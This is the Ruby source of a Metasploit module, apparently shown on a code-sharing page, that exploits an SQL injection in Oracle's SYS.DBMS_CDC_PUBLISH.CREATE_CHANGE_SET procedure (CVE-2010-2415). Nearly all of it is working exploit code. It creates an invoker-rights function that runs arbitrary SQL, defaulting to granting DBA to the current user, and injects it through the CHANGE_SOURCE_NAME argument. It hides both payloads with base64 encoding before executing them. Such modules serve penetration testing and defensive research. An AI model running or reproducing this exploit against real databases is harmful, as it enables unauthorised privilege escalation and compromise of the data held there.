Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5

6
class MetasploitModule < Msf::Auxiliary
7
  include Msf::Exploit::ORACLE
8

9
  def initialize(info = {})
10
    super(update_info(info,
11
      'Name'           => 'Oracle DB SQL Injection via SYS.DBMS_CDC_PUBLISH.CREATE_CHANGE_SET',
12
      'Description'    => %q{
13
          The module exploits an sql injection flaw in the CREATE_CHANGE_SET
14
        procedure of the PL/SQL package DBMS_CDC_PUBLISH. Any user with execute privilege
15
        on the vulnerable package can exploit this vulnerability. By default, users granted
16
        EXECUTE_CATALOG_ROLE have the required privilege.
17
      },
18
      'Author'         => [ 'MC' ],
19
      'License'        => MSF_LICENSE,
20
      'References'     =>
21
        [
22
          [ 'CVE', '2010-2415' ],
23
          [ 'OSVDB', '70078'],
24
          [ 'URL', 'http://www.oracle.com/technetwork/topics/security/cpuoct2010-175626.html' ],
25
        ],
26
      'DisclosureDate' => '2010-10-13'))
27

28
    register_options(
29
      [
30
        OptString.new('SQL', [ false, 'SQL to execute.', "GRANT DBA TO #{datastore['DBUSER']}"]),
31
      ])
32
  end
33

34
  def run
35

36
    return if not check_dependencies
37

38
    name  = Rex::Text.rand_text_alpha_upper(rand(10) + 1)
39
    var1  = Rex::Text.rand_text_alpha_upper(rand(10) + 1)
40
    var2  = Rex::Text.rand_text_alpha_upper(rand(10) + 1)
41

42
    function = "
43
CREATE OR REPLACE FUNCTION #{name}
44
RETURN VARCHAR2 AUTHID CURRENT_USER
45
IS
46
PRAGMA AUTONOMOUS_TRANSACTION;
47
BEGIN
48
EXECUTE IMMEDIATE '#{datastore['SQL']}';
49
COMMIT;
50
RETURN NULL;
51
END;
52
    "
53

54
    #PROCEDURE CREATE_CHANGE_SET
55
    # Argument Name			Type			In/Out Default?
56
    # ------------------------------ ----------------------- ------ --------
57
    # CHANGE_SET_NAME		VARCHAR2		IN
58
    # DESCRIPTION			VARCHAR2		IN     DEFAULT
59
    # CHANGE_SOURCE_NAME		VARCHAR2		IN		<-boom ;)
60
    # STOP_ON_DDL			CHAR			IN     DEFAULT
61
    # BEGIN_DATE			DATE			IN     DEFAULT
62
    # END_DATE			DATE			IN     DEFAULT
63

64
    package = "
65
BEGIN
66
SYS.DBMS_CDC_PUBLISH.CREATE_CHANGE_SET('#{name}','#{name}','''||'||user||'.#{name}||''');
67
END;
68
    "
69

70
    uno  = Rex::Text.encode_base64(function)
71
    dos  = Rex::Text.encode_base64(package)
72

73
    encoded_sql = %Q|
74
DECLARE
75
#{var1} VARCHAR2(32767);
76
#{var2} VARCHAR2(32767);
77
BEGIN
78
#{var1} := utl_raw.cast_to_varchar2(utl_encode.base64_decode(utl_raw.cast_to_raw('#{uno}')));
79
EXECUTE IMMEDIATE #{var1};
80
#{var2} := utl_raw.cast_to_varchar2(utl_encode.base64_decode(utl_raw.cast_to_raw('#{dos}')));
81
EXECUTE IMMEDIATE #{var2};
82
END;
83
    |
84

85
    print_status("Attempting sql injection on SYS.DBMS_CDC_PUBLISH.CREATE_CHANGE_SET...")
86
    prepare_exec(encoded_sql)
87
    print_status("Done...")
88

89
  end
90
end
91

92